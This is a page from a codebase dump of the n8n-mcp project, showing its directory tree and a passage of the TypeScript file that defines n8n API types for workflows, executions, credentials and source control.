This is page 9 of 45. Use http://codebase.md/czlonkowski/n8n-mcp?page={x} to view the full context.
# Directory Structure
```
├── _config.yml
├── .claude
│ └── agents
│ ├── code-reviewer.md
│ ├── context-manager.md
│ ├── debugger.md
│ ├── deployment-engineer.md
│ ├── mcp-backend-engineer.md
│ ├── n8n-mcp-tester.md
│ ├── technical-researcher.md
│ └── test-automator.md
├── .dockerignore
├── .env.docker
├── .env.example
├── .env.n8n.example
├── .env.test
├── .env.test.example
├── .github
│ ├── ABOUT.md
│ ├── BENCHMARK_THRESHOLDS.md
│ ├── FUNDING.yml
│ ├── gh-pages.yml
│ ├── secret_scanning.yml
│ └── workflows
│ ├── benchmark-pr.yml
│ ├── benchmark.yml
│ ├── docker-build-fast.yml
│ ├── docker-build-n8n.yml
│ ├── docker-build.yml
│ ├── release.yml
│ ├── test.yml
│ └── update-n8n-deps.yml
├── .gitignore
├── .npmignore
├── ATTRIBUTION.md
├── CHANGELOG.md
├── CLAUDE.md
├── codecov.yml
├── coverage.json
├── data
│ ├── .gitkeep
│ ├── nodes.db
│ ├── nodes.db-shm
│ ├── nodes.db-wal
│ └── templates.db
├── deploy
│ └── quick-deploy-n8n.sh
├── docker
│ ├── docker-entrypoint.sh
│ ├── n8n-mcp
│ ├── parse-config.js
│ └── README.md
├── docker-compose.buildkit.yml
├── docker-compose.extract.yml
├── docker-compose.n8n.yml
├── docker-compose.override.yml.example
├── docker-compose.test-n8n.yml
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.railway
├── Dockerfile.test
├── docs
│ ├── AUTOMATED_RELEASES.md
│ ├── BENCHMARKS.md
│ ├── CHANGELOG.md
│ ├── CLAUDE_CODE_SETUP.md
│ ├── CLAUDE_INTERVIEW.md
│ ├── CODECOV_SETUP.md
│ ├── CODEX_SETUP.md
│ ├── CURSOR_SETUP.md
│ ├── DEPENDENCY_UPDATES.md
│ ├── DOCKER_README.md
│ ├── DOCKER_TROUBLESHOOTING.md
│ ├── FINAL_AI_VALIDATION_SPEC.md
│ ├── FLEXIBLE_INSTANCE_CONFIGURATION.md
│ ├── HTTP_DEPLOYMENT.md
│ ├── img
│ │ ├── cc_command.png
│ │ ├── cc_connected.png
│ │ ├── codex_connected.png
│ │ ├── cursor_tut.png
│ │ ├── Railway_api.png
│ │ ├── Railway_server_address.png
│ │ ├── vsc_ghcp_chat_agent_mode.png
│ │ ├── vsc_ghcp_chat_instruction_files.png
│ │ ├── vsc_ghcp_chat_thinking_tool.png
│ │ └── windsurf_tut.png
│ ├── INSTALLATION.md
│ ├── LIBRARY_USAGE.md
│ ├── local
│ │ ├── DEEP_DIVE_ANALYSIS_2025-10-02.md
│ │ ├── DEEP_DIVE_ANALYSIS_README.md
│ │ ├── Deep_dive_p1_p2.md
│ │ ├── integration-testing-plan.md
│ │ ├── integration-tests-phase1-summary.md
│ │ ├── N8N_AI_WORKFLOW_BUILDER_ANALYSIS.md
│ │ ├── P0_IMPLEMENTATION_PLAN.md
│ │ └── TEMPLATE_MINING_ANALYSIS.md
│ ├── MCP_ESSENTIALS_README.md
│ ├── MCP_QUICK_START_GUIDE.md
│ ├── N8N_DEPLOYMENT.md
│ ├── RAILWAY_DEPLOYMENT.md
│ ├── README_CLAUDE_SETUP.md
│ ├── README.md
│ ├── tools-documentation-usage.md
│ ├── VS_CODE_PROJECT_SETUP.md
│ ├── WINDSURF_SETUP.md
│ └── workflow-diff-examples.md
├── examples
│ └── enhanced-documentation-demo.js
├── fetch_log.txt
├── LICENSE
├── MEMORY_N8N_UPDATE.md
├── MEMORY_TEMPLATE_UPDATE.md
├── monitor_fetch.sh
├── N8N_HTTP_STREAMABLE_SETUP.md
├── n8n-nodes.db
├── P0-R3-TEST-PLAN.md
├── package-lock.json
├── package.json
├── package.runtime.json
├── PRIVACY.md
├── railway.json
├── README.md
├── renovate.json
├── scripts
│ ├── analyze-optimization.sh
│ ├── audit-schema-coverage.ts
│ ├── build-optimized.sh
│ ├── compare-benchmarks.js
│ ├── demo-optimization.sh
│ ├── deploy-http.sh
│ ├── deploy-to-vm.sh
│ ├── export-webhook-workflows.ts
│ ├── extract-changelog.js
│ ├── extract-from-docker.js
│ ├── extract-nodes-docker.sh
│ ├── extract-nodes-simple.sh
│ ├── format-benchmark-results.js
│ ├── generate-benchmark-stub.js
│ ├── generate-detailed-reports.js
│ ├── generate-test-summary.js
│ ├── http-bridge.js
│ ├── mcp-http-client.js
│ ├── migrate-nodes-fts.ts
│ ├── migrate-tool-docs.ts
│ ├── n8n-docs-mcp.service
│ ├── nginx-n8n-mcp.conf
│ ├── prebuild-fts5.ts
│ ├── prepare-release.js
│ ├── publish-npm-quick.sh
│ ├── publish-npm.sh
│ ├── quick-test.ts
│ ├── run-benchmarks-ci.js
│ ├── sync-runtime-version.js
│ ├── test-ai-validation-debug.ts
│ ├── test-code-node-enhancements.ts
│ ├── test-code-node-fixes.ts
│ ├── test-docker-config.sh
│ ├── test-docker-fingerprint.ts
│ ├── test-docker-optimization.sh
│ ├── test-docker.sh
│ ├── test-empty-connection-validation.ts
│ ├── test-error-message-tracking.ts
│ ├── test-error-output-validation.ts
│ ├── test-error-validation.js
│ ├── test-essentials.ts
│ ├── test-expression-code-validation.ts
│ ├── test-expression-format-validation.js
│ ├── test-fts5-search.ts
│ ├── test-fuzzy-fix.ts
│ ├── test-fuzzy-simple.ts
│ ├── test-helpers-validation.ts
│ ├── test-http-search.ts
│ ├── test-http.sh
│ ├── test-jmespath-validation.ts
│ ├── test-multi-tenant-simple.ts
│ ├── test-multi-tenant.ts
│ ├── test-n8n-integration.sh
│ ├── test-node-info.js
│ ├── test-node-type-validation.ts
│ ├── test-nodes-base-prefix.ts
│ ├── test-operation-validation.ts
│ ├── test-optimized-docker.sh
│ ├── test-release-automation.js
│ ├── test-search-improvements.ts
│ ├── test-security.ts
│ ├── test-single-session.sh
│ ├── test-sqljs-triggers.ts
│ ├── test-telemetry-debug.ts
│ ├── test-telemetry-direct.ts
│ ├── test-telemetry-env.ts
│ ├── test-telemetry-integration.ts
│ ├── test-telemetry-no-select.ts
│ ├── test-telemetry-security.ts
│ ├── test-telemetry-simple.ts
│ ├── test-typeversion-validation.ts
│ ├── test-url-configuration.ts
│ ├── test-user-id-persistence.ts
│ ├── test-webhook-validation.ts
│ ├── test-workflow-insert.ts
│ ├── test-workflow-sanitizer.ts
│ ├── test-workflow-tracking-debug.ts
│ ├── update-and-publish-prep.sh
│ ├── update-n8n-deps.js
│ ├── update-readme-version.js
│ ├── vitest-benchmark-json-reporter.js
│ └── vitest-benchmark-reporter.ts
├── SECURITY.md
├── src
│ ├── config
│ │ └── n8n-api.ts
│ ├── data
│ │ └── canonical-ai-tool-examples.json
│ ├── database
│ │ ├── database-adapter.ts
│ │ ├── migrations
│ │ │ └── add-template-node-configs.sql
│ │ ├── node-repository.ts
│ │ ├── nodes.db
│ │ ├── schema-optimized.sql
│ │ └── schema.sql
│ ├── errors
│ │ └── validation-service-error.ts
│ ├── http-server-single-session.ts
│ ├── http-server.ts
│ ├── index.ts
│ ├── loaders
│ │ └── node-loader.ts
│ ├── mappers
│ │ └── docs-mapper.ts
│ ├── mcp
│ │ ├── handlers-n8n-manager.ts
│ │ ├── handlers-workflow-diff.ts
│ │ ├── index.ts
│ │ ├── server.ts
│ │ ├── stdio-wrapper.ts
│ │ ├── tool-docs
│ │ │ ├── configuration
│ │ │ │ ├── get-node-as-tool-info.ts
│ │ │ │ ├── get-node-documentation.ts
│ │ │ │ ├── get-node-essentials.ts
│ │ │ │ ├── get-node-info.ts
│ │ │ │ ├── get-property-dependencies.ts
│ │ │ │ ├── index.ts
│ │ │ │ └── search-node-properties.ts
│ │ │ ├── discovery
│ │ │ │ ├── get-database-statistics.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── list-ai-tools.ts
│ │ │ │ ├── list-nodes.ts
│ │ │ │ └── search-nodes.ts
│ │ │ ├── guides
│ │ │ │ ├── ai-agents-guide.ts
│ │ │ │ └── index.ts
│ │ │ ├── index.ts
│ │ │ ├── system
│ │ │ │ ├── index.ts
│ │ │ │ ├── n8n-diagnostic.ts
│ │ │ │ ├── n8n-health-check.ts
│ │ │ │ ├── n8n-list-available-tools.ts
│ │ │ │ └── tools-documentation.ts
│ │ │ ├── templates
│ │ │ │ ├── get-template.ts
│ │ │ │ ├── get-templates-for-task.ts
│ │ │ │ ├── index.ts
│ │ │ │ ├── list-node-templates.ts
│ │ │ │ ├── list-tasks.ts
│ │ │ │ ├── search-templates-by-metadata.ts
│ │ │ │ └── search-templates.ts
│ │ │ ├── types.ts
│ │ │ ├── validation
│ │ │ │ ├── index.ts
│ │ │ │ ├── validate-node-minimal.ts
│ │ │ │ ├── validate-node-operation.ts
│ │ │ │ ├── validate-workflow-connections.ts
│ │ │ │ ├── validate-workflow-expressions.ts
│ │ │ │ └── validate-workflow.ts
│ │ │ └── workflow_management
│ │ │ ├── index.ts
│ │ │ ├── n8n-autofix-workflow.ts
│ │ │ ├── n8n-create-workflow.ts
│ │ │ ├── n8n-delete-execution.ts
│ │ │ ├── n8n-delete-workflow.ts
│ │ │ ├── n8n-get-execution.ts
│ │ │ ├── n8n-get-workflow-details.ts
│ │ │ ├── n8n-get-workflow-minimal.ts
│ │ │ ├── n8n-get-workflow-structure.ts
│ │ │ ├── n8n-get-workflow.ts
│ │ │ ├── n8n-list-executions.ts
│ │ │ ├── n8n-list-workflows.ts
│ │ │ ├── n8n-trigger-webhook-workflow.ts
│ │ │ ├── n8n-update-full-workflow.ts
│ │ │ ├── n8n-update-partial-workflow.ts
│ │ │ └── n8n-validate-workflow.ts
│ │ ├── tools-documentation.ts
│ │ ├── tools-n8n-friendly.ts
│ │ ├── tools-n8n-manager.ts
│ │ ├── tools.ts
│ │ └── workflow-examples.ts
│ ├── mcp-engine.ts
│ ├── mcp-tools-engine.ts
│ ├── n8n
│ │ ├── MCPApi.credentials.ts
│ │ └── MCPNode.node.ts
│ ├── parsers
│ │ ├── node-parser.ts
│ │ ├── property-extractor.ts
│ │ └── simple-parser.ts
│ ├── scripts
│ │ ├── debug-http-search.ts
│ │ ├── extract-from-docker.ts
│ │ ├── fetch-templates-robust.ts
│ │ ├── fetch-templates.ts
│ │ ├── rebuild-database.ts
│ │ ├── rebuild-optimized.ts
│ │ ├── rebuild.ts
│ │ ├── sanitize-templates.ts
│ │ ├── seed-canonical-ai-examples.ts
│ │ ├── test-autofix-documentation.ts
│ │ ├── test-autofix-workflow.ts
│ │ ├── test-execution-filtering.ts
│ │ ├── test-node-suggestions.ts
│ │ ├── test-protocol-negotiation.ts
│ │ ├── test-summary.ts
│ │ ├── test-webhook-autofix.ts
│ │ ├── validate.ts
│ │ └── validation-summary.ts
│ ├── services
│ │ ├── ai-node-validator.ts
│ │ ├── ai-tool-validators.ts
│ │ ├── confidence-scorer.ts
│ │ ├── config-validator.ts
│ │ ├── enhanced-config-validator.ts
│ │ ├── example-generator.ts
│ │ ├── execution-processor.ts
│ │ ├── expression-format-validator.ts
│ │ ├── expression-validator.ts
│ │ ├── n8n-api-client.ts
│ │ ├── n8n-validation.ts
│ │ ├── node-documentation-service.ts
│ │ ├── node-similarity-service.ts
│ │ ├── node-specific-validators.ts
│ │ ├── operation-similarity-service.ts
│ │ ├── property-dependencies.ts
│ │ ├── property-filter.ts
│ │ ├── resource-similarity-service.ts
│ │ ├── sqlite-storage-service.ts
│ │ ├── task-templates.ts
│ │ ├── universal-expression-validator.ts
│ │ ├── workflow-auto-fixer.ts
│ │ ├── workflow-diff-engine.ts
│ │ └── workflow-validator.ts
│ ├── telemetry
│ │ ├── batch-processor.ts
│ │ ├── config-manager.ts
│ │ ├── early-error-logger.ts
│ │ ├── error-sanitization-utils.ts
│ │ ├── error-sanitizer.ts
│ │ ├── event-tracker.ts
│ │ ├── event-validator.ts
│ │ ├── index.ts
│ │ ├── performance-monitor.ts
│ │ ├── rate-limiter.ts
│ │ ├── startup-checkpoints.ts
│ │ ├── telemetry-error.ts
│ │ ├── telemetry-manager.ts
│ │ ├── telemetry-types.ts
│ │ └── workflow-sanitizer.ts
│ ├── templates
│ │ ├── batch-processor.ts
│ │ ├── metadata-generator.ts
│ │ ├── README.md
│ │ ├── template-fetcher.ts
│ │ ├── template-repository.ts
│ │ └── template-service.ts
│ ├── types
│ │ ├── index.ts
│ │ ├── instance-context.ts
│ │ ├── n8n-api.ts
│ │ ├── node-types.ts
│ │ └── workflow-diff.ts
│ └── utils
│ ├── auth.ts
│ ├── bridge.ts
│ ├── cache-utils.ts
│ ├── console-manager.ts
│ ├── documentation-fetcher.ts
│ ├── enhanced-documentation-fetcher.ts
│ ├── error-handler.ts
│ ├── example-generator.ts
│ ├── fixed-collection-validator.ts
│ ├── logger.ts
│ ├── mcp-client.ts
│ ├── n8n-errors.ts
│ ├── node-source-extractor.ts
│ ├── node-type-normalizer.ts
│ ├── node-type-utils.ts
│ ├── node-utils.ts
│ ├── npm-version-checker.ts
│ ├── protocol-version.ts
│ ├── simple-cache.ts
│ ├── ssrf-protection.ts
│ ├── template-node-resolver.ts
│ ├── template-sanitizer.ts
│ ├── url-detector.ts
│ ├── validation-schemas.ts
│ └── version.ts
├── test-output.txt
├── test-reinit-fix.sh
├── tests
│ ├── __snapshots__
│ │ └── .gitkeep
│ ├── auth.test.ts
│ ├── benchmarks
│ │ ├── database-queries.bench.ts
│ │ ├── index.ts
│ │ ├── mcp-tools.bench.ts
│ │ ├── mcp-tools.bench.ts.disabled
│ │ ├── mcp-tools.bench.ts.skip
│ │ ├── node-loading.bench.ts.disabled
│ │ ├── README.md
│ │ ├── search-operations.bench.ts.disabled
│ │ └── validation-performance.bench.ts.disabled
│ ├── bridge.test.ts
│ ├── comprehensive-extraction-test.js
│ ├── data
│ │ └── .gitkeep
│ ├── debug-slack-doc.js
│ ├── demo-enhanced-documentation.js
│ ├── docker-tests-README.md
│ ├── error-handler.test.ts
│ ├── examples
│ │ └── using-database-utils.test.ts
│ ├── extracted-nodes-db
│ │ ├── database-import.json
│ │ ├── extraction-report.json
│ │ ├── insert-nodes.sql
│ │ ├── n8n-nodes-base__Airtable.json
│ │ ├── n8n-nodes-base__Discord.json
│ │ ├── n8n-nodes-base__Function.json
│ │ ├── n8n-nodes-base__HttpRequest.json
│ │ ├── n8n-nodes-base__If.json
│ │ ├── n8n-nodes-base__Slack.json
│ │ ├── n8n-nodes-base__SplitInBatches.json
│ │ └── n8n-nodes-base__Webhook.json
│ ├── factories
│ │ ├── node-factory.ts
│ │ └── property-definition-factory.ts
│ ├── fixtures
│ │ ├── .gitkeep
│ │ ├── database
│ │ │ └── test-nodes.json
│ │ ├── factories
│ │ │ ├── node.factory.ts
│ │ │ └── parser-node.factory.ts
│ │ └── template-configs.ts
│ ├── helpers
│ │ └── env-helpers.ts
│ ├── http-server-auth.test.ts
│ ├── integration
│ │ ├── ai-validation
│ │ │ ├── ai-agent-validation.test.ts
│ │ │ ├── ai-tool-validation.test.ts
│ │ │ ├── chat-trigger-validation.test.ts
│ │ │ ├── e2e-validation.test.ts
│ │ │ ├── helpers.ts
│ │ │ ├── llm-chain-validation.test.ts
│ │ │ ├── README.md
│ │ │ └── TEST_REPORT.md
│ │ ├── ci
│ │ │ └── database-population.test.ts
│ │ ├── database
│ │ │ ├── connection-management.test.ts
│ │ │ ├── empty-database.test.ts
│ │ │ ├── fts5-search.test.ts
│ │ │ ├── node-fts5-search.test.ts
│ │ │ ├── node-repository.test.ts
│ │ │ ├── performance.test.ts
│ │ │ ├── template-node-configs.test.ts
│ │ │ ├── template-repository.test.ts
│ │ │ ├── test-utils.ts
│ │ │ └── transactions.test.ts
│ │ ├── database-integration.test.ts
│ │ ├── docker
│ │ │ ├── docker-config.test.ts
│ │ │ ├── docker-entrypoint.test.ts
│ │ │ └── test-helpers.ts
│ │ ├── flexible-instance-config.test.ts
│ │ ├── mcp
│ │ │ └── template-examples-e2e.test.ts
│ │ ├── mcp-protocol
│ │ │ ├── basic-connection.test.ts
│ │ │ ├── error-handling.test.ts
│ │ │ ├── performance.test.ts
│ │ │ ├── protocol-compliance.test.ts
│ │ │ ├── README.md
│ │ │ ├── session-management.test.ts
│ │ │ ├── test-helpers.ts
│ │ │ ├── tool-invocation.test.ts
│ │ │ └── workflow-error-validation.test.ts
│ │ ├── msw-setup.test.ts
│ │ ├── n8n-api
│ │ │ ├── executions
│ │ │ │ ├── delete-execution.test.ts
│ │ │ │ ├── get-execution.test.ts
│ │ │ │ ├── list-executions.test.ts
│ │ │ │ └── trigger-webhook.test.ts
│ │ │ ├── scripts
│ │ │ │ └── cleanup-orphans.ts
│ │ │ ├── system
│ │ │ │ ├── diagnostic.test.ts
│ │ │ │ ├── health-check.test.ts
│ │ │ │ └── list-tools.test.ts
│ │ │ ├── test-connection.ts
│ │ │ ├── types
│ │ │ │ └── mcp-responses.ts
│ │ │ ├── utils
│ │ │ │ ├── cleanup-helpers.ts
│ │ │ │ ├── credentials.ts
│ │ │ │ ├── factories.ts
│ │ │ │ ├── fixtures.ts
│ │ │ │ ├── mcp-context.ts
│ │ │ │ ├── n8n-client.ts
│ │ │ │ ├── node-repository.ts
│ │ │ │ ├── response-types.ts
│ │ │ │ ├── test-context.ts
│ │ │ │ └── webhook-workflows.ts
│ │ │ └── workflows
│ │ │ ├── autofix-workflow.test.ts
│ │ │ ├── create-workflow.test.ts
│ │ │ ├── delete-workflow.test.ts
│ │ │ ├── get-workflow-details.test.ts
│ │ │ ├── get-workflow-minimal.test.ts
│ │ │ ├── get-workflow-structure.test.ts
│ │ │ ├── get-workflow.test.ts
│ │ │ ├── list-workflows.test.ts
│ │ │ ├── smart-parameters.test.ts
│ │ │ ├── update-partial-workflow.test.ts
│ │ │ ├── update-workflow.test.ts
│ │ │ └── validate-workflow.test.ts
│ │ ├── security
│ │ │ ├── command-injection-prevention.test.ts
│ │ │ └── rate-limiting.test.ts
│ │ ├── setup
│ │ │ ├── integration-setup.ts
│ │ │ └── msw-test-server.ts
│ │ ├── telemetry
│ │ │ ├── docker-user-id-stability.test.ts
│ │ │ └── mcp-telemetry.test.ts
│ │ ├── templates
│ │ │ └── metadata-operations.test.ts
│ │ └── workflow-creation-node-type-format.test.ts
│ ├── logger.test.ts
│ ├── MOCKING_STRATEGY.md
│ ├── mocks
│ │ ├── n8n-api
│ │ │ ├── data
│ │ │ │ ├── credentials.ts
│ │ │ │ ├── executions.ts
│ │ │ │ └── workflows.ts
│ │ │ ├── handlers.ts
│ │ │ └── index.ts
│ │ └── README.md
│ ├── node-storage-export.json
│ ├── setup
│ │ ├── global-setup.ts
│ │ ├── msw-setup.ts
│ │ ├── TEST_ENV_DOCUMENTATION.md
│ │ └── test-env.ts
│ ├── test-database-extraction.js
│ ├── test-direct-extraction.js
│ ├── test-enhanced-documentation.js
│ ├── test-enhanced-integration.js
│ ├── test-mcp-extraction.js
│ ├── test-mcp-server-extraction.js
│ ├── test-mcp-tools-integration.js
│ ├── test-node-documentation-service.js
│ ├── test-node-list.js
│ ├── test-package-info.js
│ ├── test-parsing-operations.js
│ ├── test-slack-node-complete.js
│ ├── test-small-rebuild.js
│ ├── test-sqlite-search.js
│ ├── test-storage-system.js
│ ├── unit
│ │ ├── __mocks__
│ │ │ ├── n8n-nodes-base.test.ts
│ │ │ ├── n8n-nodes-base.ts
│ │ │ └── README.md
│ │ ├── database
│ │ │ ├── __mocks__
│ │ │ │ └── better-sqlite3.ts
│ │ │ ├── database-adapter-unit.test.ts
│ │ │ ├── node-repository-core.test.ts
│ │ │ ├── node-repository-operations.test.ts
│ │ │ ├── node-repository-outputs.test.ts
│ │ │ ├── README.md
│ │ │ └── template-repository-core.test.ts
│ │ ├── docker
│ │ │ ├── config-security.test.ts
│ │ │ ├── edge-cases.test.ts
│ │ │ ├── parse-config.test.ts
│ │ │ └── serve-command.test.ts
│ │ ├── errors
│ │ │ └── validation-service-error.test.ts
│ │ ├── examples
│ │ │ └── using-n8n-nodes-base-mock.test.ts
│ │ ├── flexible-instance-security-advanced.test.ts
│ │ ├── flexible-instance-security.test.ts
│ │ ├── http-server
│ │ │ └── multi-tenant-support.test.ts
│ │ ├── http-server-n8n-mode.test.ts
│ │ ├── http-server-n8n-reinit.test.ts
│ │ ├── http-server-session-management.test.ts
│ │ ├── loaders
│ │ │ └── node-loader.test.ts
│ │ ├── mappers
│ │ │ └── docs-mapper.test.ts
│ │ ├── mcp
│ │ │ ├── get-node-essentials-examples.test.ts
│ │ │ ├── handlers-n8n-manager-simple.test.ts
│ │ │ ├── handlers-n8n-manager.test.ts
│ │ │ ├── handlers-workflow-diff.test.ts
│ │ │ ├── lru-cache-behavior.test.ts
│ │ │ ├── multi-tenant-tool-listing.test.ts.disabled
│ │ │ ├── parameter-validation.test.ts
│ │ │ ├── search-nodes-examples.test.ts
│ │ │ ├── tools-documentation.test.ts
│ │ │ └── tools.test.ts
│ │ ├── monitoring
│ │ │ └── cache-metrics.test.ts
│ │ ├── MULTI_TENANT_TEST_COVERAGE.md
│ │ ├── multi-tenant-integration.test.ts
│ │ ├── parsers
│ │ │ ├── node-parser-outputs.test.ts
│ │ │ ├── node-parser.test.ts
│ │ │ ├── property-extractor.test.ts
│ │ │ └── simple-parser.test.ts
│ │ ├── scripts
│ │ │ └── fetch-templates-extraction.test.ts
│ │ ├── services
│ │ │ ├── ai-node-validator.test.ts
│ │ │ ├── ai-tool-validators.test.ts
│ │ │ ├── confidence-scorer.test.ts
│ │ │ ├── config-validator-basic.test.ts
│ │ │ ├── config-validator-edge-cases.test.ts
│ │ │ ├── config-validator-node-specific.test.ts
│ │ │ ├── config-validator-security.test.ts
│ │ │ ├── debug-validator.test.ts
│ │ │ ├── enhanced-config-validator-integration.test.ts
│ │ │ ├── enhanced-config-validator-operations.test.ts
│ │ │ ├── enhanced-config-validator.test.ts
│ │ │ ├── example-generator.test.ts
│ │ │ ├── execution-processor.test.ts
│ │ │ ├── expression-format-validator.test.ts
│ │ │ ├── expression-validator-edge-cases.test.ts
│ │ │ ├── expression-validator.test.ts
│ │ │ ├── fixed-collection-validation.test.ts
│ │ │ ├── loop-output-edge-cases.test.ts
│ │ │ ├── n8n-api-client.test.ts
│ │ │ ├── n8n-validation.test.ts
│ │ │ ├── node-similarity-service.test.ts
│ │ │ ├── node-specific-validators.test.ts
│ │ │ ├── operation-similarity-service-comprehensive.test.ts
│ │ │ ├── operation-similarity-service.test.ts
│ │ │ ├── property-dependencies.test.ts
│ │ │ ├── property-filter-edge-cases.test.ts
│ │ │ ├── property-filter.test.ts
│ │ │ ├── resource-similarity-service-comprehensive.test.ts
│ │ │ ├── resource-similarity-service.test.ts
│ │ │ ├── task-templates.test.ts
│ │ │ ├── template-service.test.ts
│ │ │ ├── universal-expression-validator.test.ts
│ │ │ ├── validation-fixes.test.ts
│ │ │ ├── workflow-auto-fixer.test.ts
│ │ │ ├── workflow-diff-engine.test.ts
│ │ │ ├── workflow-fixed-collection-validation.test.ts
│ │ │ ├── workflow-validator-comprehensive.test.ts
│ │ │ ├── workflow-validator-edge-cases.test.ts
│ │ │ ├── workflow-validator-error-outputs.test.ts
│ │ │ ├── workflow-validator-expression-format.test.ts
│ │ │ ├── workflow-validator-loops-simple.test.ts
│ │ │ ├── workflow-validator-loops.test.ts
│ │ │ ├── workflow-validator-mocks.test.ts
│ │ │ ├── workflow-validator-performance.test.ts
│ │ │ ├── workflow-validator-with-mocks.test.ts
│ │ │ └── workflow-validator.test.ts
│ │ ├── telemetry
│ │ │ ├── batch-processor.test.ts
│ │ │ ├── config-manager.test.ts
│ │ │ ├── event-tracker.test.ts
│ │ │ ├── event-validator.test.ts
│ │ │ ├── rate-limiter.test.ts
│ │ │ ├── telemetry-error.test.ts
│ │ │ ├── telemetry-manager.test.ts
│ │ │ ├── v2.18.3-fixes-verification.test.ts
│ │ │ └── workflow-sanitizer.test.ts
│ │ ├── templates
│ │ │ ├── batch-processor.test.ts
│ │ │ ├── metadata-generator.test.ts
│ │ │ ├── template-repository-metadata.test.ts
│ │ │ └── template-repository-security.test.ts
│ │ ├── test-env-example.test.ts
│ │ ├── test-infrastructure.test.ts
│ │ ├── types
│ │ │ ├── instance-context-coverage.test.ts
│ │ │ └── instance-context-multi-tenant.test.ts
│ │ ├── utils
│ │ │ ├── auth-timing-safe.test.ts
│ │ │ ├── cache-utils.test.ts
│ │ │ ├── console-manager.test.ts
│ │ │ ├── database-utils.test.ts
│ │ │ ├── fixed-collection-validator.test.ts
│ │ │ ├── n8n-errors.test.ts
│ │ │ ├── node-type-normalizer.test.ts
│ │ │ ├── node-type-utils.test.ts
│ │ │ ├── node-utils.test.ts
│ │ │ ├── simple-cache-memory-leak-fix.test.ts
│ │ │ ├── ssrf-protection.test.ts
│ │ │ └── template-node-resolver.test.ts
│ │ └── validation-fixes.test.ts
│ └── utils
│ ├── assertions.ts
│ ├── builders
│ │ └── workflow.builder.ts
│ ├── data-generators.ts
│ ├── database-utils.ts
│ ├── README.md
│ └── test-helpers.ts
├── thumbnail.png
├── tsconfig.build.json
├── tsconfig.json
├── types
│ ├── mcp.d.ts
│ └── test-env.d.ts
├── verify-telemetry-fix.js
├── versioned-nodes.md
├── vitest.config.benchmark.ts
├── vitest.config.integration.ts
└── vitest.config.ts
```
# Files
--------------------------------------------------------------------------------
/src/types/n8n-api.ts:
--------------------------------------------------------------------------------
```typescript
// n8n API Types - Ported from n8n-manager-for-ai-agents
// These types define the structure of n8n API requests and responses
// Resource Locator Types
export interface ResourceLocatorValue {
__rl: true;
value: string;
mode: 'id' | 'url' | 'expression' | string;
}
// Expression Format Types
export type ExpressionValue = string | ResourceLocatorValue;
// Workflow Node Types
export interface WorkflowNode {
id: string;
name: string;
type: string;
typeVersion: number;
position: [number, number];
parameters: Record<string, unknown>;
credentials?: Record<string, unknown>;
disabled?: boolean;
notes?: string;
notesInFlow?: boolean;
continueOnFail?: boolean;
onError?: 'continueRegularOutput' | 'continueErrorOutput' | 'stopWorkflow';
retryOnFail?: boolean;
maxTries?: number;
waitBetweenTries?: number;
alwaysOutputData?: boolean;
executeOnce?: boolean;
}
export interface WorkflowConnection {
[sourceNodeId: string]: {
[outputType: string]: Array<Array<{
node: string;
type: string;
index: number;
}>>;
};
}
export interface WorkflowSettings {
executionOrder?: 'v0' | 'v1';
timezone?: string;
saveDataErrorExecution?: 'all' | 'none';
saveDataSuccessExecution?: 'all' | 'none';
saveManualExecutions?: boolean;
saveExecutionProgress?: boolean;
executionTimeout?: number;
errorWorkflow?: string;
}
export interface Workflow {
id?: string;
name: string;
nodes: WorkflowNode[];
connections: WorkflowConnection;
active?: boolean; // Optional for creation as it's read-only
isArchived?: boolean; // Optional, available in newer n8n versions
settings?: WorkflowSettings;
staticData?: Record<string, unknown>;
tags?: string[];
updatedAt?: string;
createdAt?: string;
versionId?: string;
meta?: {
instanceId?: string;
};
}
// Execution Types
export enum ExecutionStatus {
SUCCESS = 'success',
ERROR = 'error',
WAITING = 'waiting',
// Note: 'running' status is not returned by the API
}
export interface ExecutionSummary {
id: string;
finished: boolean;
mode: string;
retryOf?: string;
retrySuccessId?: string;
status: ExecutionStatus;
startedAt: string;
stoppedAt?: string;
workflowId: string;
workflowName?: string;
waitTill?: string;
}
export interface ExecutionData {
startData?: Record<string, unknown>;
resultData: {
runData: Record<string, unknown>;
lastNodeExecuted?: string;
error?: Record<string, unknown>;
};
executionData?: Record<string, unknown>;
}
export interface Execution extends ExecutionSummary {
data?: ExecutionData;
}
// Credential Types
export interface Credential {
id?: string;
name: string;
type: string;
data?: Record<string, unknown>;
nodesAccess?: Array<{
nodeType: string;
date?: string;
}>;
createdAt?: string;
updatedAt?: string;
}
// Tag Types
export interface Tag {
id?: string;
name: string;
workflowIds?: string[];
createdAt?: string;
updatedAt?: string;
}
// Variable Types
export interface Variable {
id?: string;
key: string;
value: string;
type?: 'string';
}
// Import/Export Types
export interface WorkflowExport {
id: string;
name: string;
active: boolean;
createdAt: string;
updatedAt: string;
nodes: WorkflowNode[];
connections: WorkflowConnection;
settings?: WorkflowSettings;
staticData?: Record<string, unknown>;
tags?: string[];
pinData?: Record<string, unknown>;
versionId?: string;
meta?: Record<string, unknown>;
}
export interface WorkflowImport {
name: string;
nodes: WorkflowNode[];
connections: WorkflowConnection;
settings?: WorkflowSettings;
staticData?: Record<string, unknown>;
tags?: string[];
pinData?: Record<string, unknown>;
}
// Source Control Types
export interface SourceControlStatus {
ahead: number;
behind: number;
conflicted: string[];
created: string[];
current: string;
deleted: string[];
detached: boolean;
files: Array<{
path: string;
status: string;
}>;
modified: string[];
notAdded: string[];
renamed: Array<{
from: string;
to: string;
}>;
staged: string[];
tracking: string;
}
export interface SourceControlPullResult {
conflicts: string[];
files: Array<{
path: string;
status: string;
}>;
mergeConflicts: boolean;
pullResult: 'success' | 'conflict' | 'error';
}
export interface SourceControlPushResult {
ahead: number;
conflicts: string[];
files: Array<{
path: string;
status: string;
}>;
pushResult: 'success' | 'conflict' | 'error';
}
// Health Check Types
export interface HealthCheckResponse {
status: 'ok' | 'error';
instanceId?: string;
n8nVersion?: string;
features?: {
sourceControl?: boolean;
externalHooks?: boolean;
workers?: boolean;
[key: string]: boolean | undefined;
};
}
// Request Parameter Types
export interface WorkflowListParams {
limit?: number;
cursor?: string;
active?: boolean;
tags?: string | null; // Comma-separated string per n8n API spec
projectId?: string;
excludePinnedData?: boolean;
instance?: string;
}
export interface WorkflowListResponse {
data: Workflow[];
nextCursor?: string | null;
}
export interface ExecutionListParams {
limit?: number;
cursor?: string;
workflowId?: string;
projectId?: string;
status?: ExecutionStatus;
includeData?: boolean;
}
export interface ExecutionListResponse {
data: Execution[];
nextCursor?: string | null;
}
export interface CredentialListParams {
